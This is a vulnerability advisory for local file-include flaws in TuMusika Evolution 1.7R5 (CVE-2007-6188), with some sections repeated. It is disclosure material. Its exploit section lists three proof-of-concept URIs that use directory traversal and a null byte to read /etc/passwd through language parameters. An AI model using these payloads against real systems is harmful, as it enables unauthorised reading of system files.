TuMusika Evolution Multiple Local File Include Vulnerabilities
BID:26631
Info
TuMusika Evolution Multiple Local File Include Vulnerabilities
| Bugtraq ID: | 26631 |
| Class: | Input Validation Error |
| CVE: |
CVE-2007-6188 |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 28 2007 12:00AM |
| Updated: | Dec 05 2007 02:32PM |
| Credit: | GoLd_M is credited with the discovery of these vulnerabilities. |
| Vulnerable: |
TuMusika Evolution TuMusika Evolution 1.7R5 |
| Not Vulnerable: | |
Discussion
TuMusika Evolution Multiple Local File Include Vulnerabilities
TuMusika Evolution is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.
Exploiting these issues may allow an attacker to access potentially sensitive information and execute arbitrary local scripts in the context of the affected application.
These issues affect TuMusika Evolution 1.7R5; other versions may also be vulnerable.
TuMusika Evolution is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.
Exploiting these issues may allow an attacker to access potentially sensitive information and execute arbitrary local scripts in the context of the affected application.
These issues affect TuMusika Evolution 1.7R5; other versions may also be vulnerable.
Exploit / POC
TuMusika Evolution Multiple Local File Include Vulnerabilities
Attackers may exploit these issues through a browser.
The following proof-of-concept URIs are available:
http://www.example.com/Evolution1.7/inc/languages_n.php?language=../../../../../../etc/passwd%00 http://www.example.com/Evolution1.7/inc/languages_f.php?language=../../../../../../etc/passwd%00 http://www.example.com/Evolution1.7/inc/languages.php?language=../../../../../../etc/passwd%00
Attackers may exploit these issues through a browser.
The following proof-of-concept URIs are available:
http://www.example.com/Evolution1.7/inc/languages_n.php?language=../../../../../../etc/passwd%00 http://www.example.com/Evolution1.7/inc/languages_f.php?language=../../../../../../etc/passwd%00 http://www.example.com/Evolution1.7/inc/languages.php?language=../../../../../../etc/passwd%00
Solution / Fix
TuMusika Evolution Multiple Local File Include Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
TuMusika Evolution Multiple Local File Include Vulnerabilities
References:
References:
- TuMusika Evolution Web Site (TuMusika Evolution)